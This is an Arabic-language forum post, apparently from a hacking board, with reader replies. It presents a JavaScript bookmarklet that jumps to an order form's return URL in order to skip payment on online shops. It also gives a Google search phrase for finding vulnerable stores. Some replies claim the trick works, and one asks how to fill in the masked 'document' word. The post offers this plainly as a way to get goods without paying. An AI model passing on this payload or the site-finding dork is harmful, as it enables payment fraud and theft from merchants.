(¯`*•¸***9829;_قنبلة تسقط لاول مرة على المنتديات العربية تجاوز عملية الدفع و الشراء دون حسابات حصريا_ ***9829;¸•*´¯)
 

(¯`*•¸***9829;_قنبلة تسقط لاول مرة على المنتديات العربية تجاوز عملية الدفع و الشراء دون حسابات حصريا_ ***9829;¸•*´¯)







شباب كيفكم لي مدة طويلة ما عملت موضوع
المهم كلكم بخيير ؟؟
ان شاء الله

ثغرة اليوم ثغرة سهلة جدا رغم ذلك ما شفت اي مننتدى عربي تكلم عليها

ندخل في صلب الموضوع

ثغرة اليوم تتمثل في تجاوز الدفع و الشراء دون مشاكل او البحث عن الحسابات

الثغرة عبارة عن كود جافا

هذا هو الكود

كود PHP:
javascript:top.location=********.getElementsByName ('return')[0].value; javascript:void(0);


ندخل لموقع الي نريد الشراء منو و انحط الكود في المتصفح بالاعلى

و راح يكتبلنا مباشرة
Thank You For Your Order





اكيد الثغرة ما تتطبق على جميع المواقع

بس ما تخافو للبحث على المواقع المصابة عندي دورك سهل جدا

نروح الى العم قوقل و نكتب
'this order button requires a javascript enabled browser'

جميع المواقع الي راح تطلع تطبق عليها الثغرة


انتهى الشرح من خوكم Greenhacker

لا اسامح اي واحد ينقل الموضوع دون ذكر المصدر


و شكرا
تم النقل من طرف hohenheim

مكان النجوم توجد كلمة بلا نقاط d.o.c.u.m.e.n.t

تسلملي الطريقه مزبوطه
وأحلاتقييم

تسلملي الطريقه مزبوطه
وأحلا تقييم

مشكووور اخي

بس الحركة مررة قدييمة بس لسا فعالة

لأنه انا لقيتها زمان في موقع انجليزي

انا اشتغلت معاي

مشكوووووووور ولاكن اخى ماذا يوجد مكان النقاط التى موجودة بالكود باعلى

الاحرف لاصقة ولا يوجد اي شيء

اشرح بوضوع ..
هل اضع الكود محل الدومين ام اضيفه اخر الدومين ..
وكلمن دوكمين محل النجوم من غير فاصل مع كلمةElementsByName

ارجو الافادة .. او اعادة الشرح بشكل اكثر سلاسة وسهولة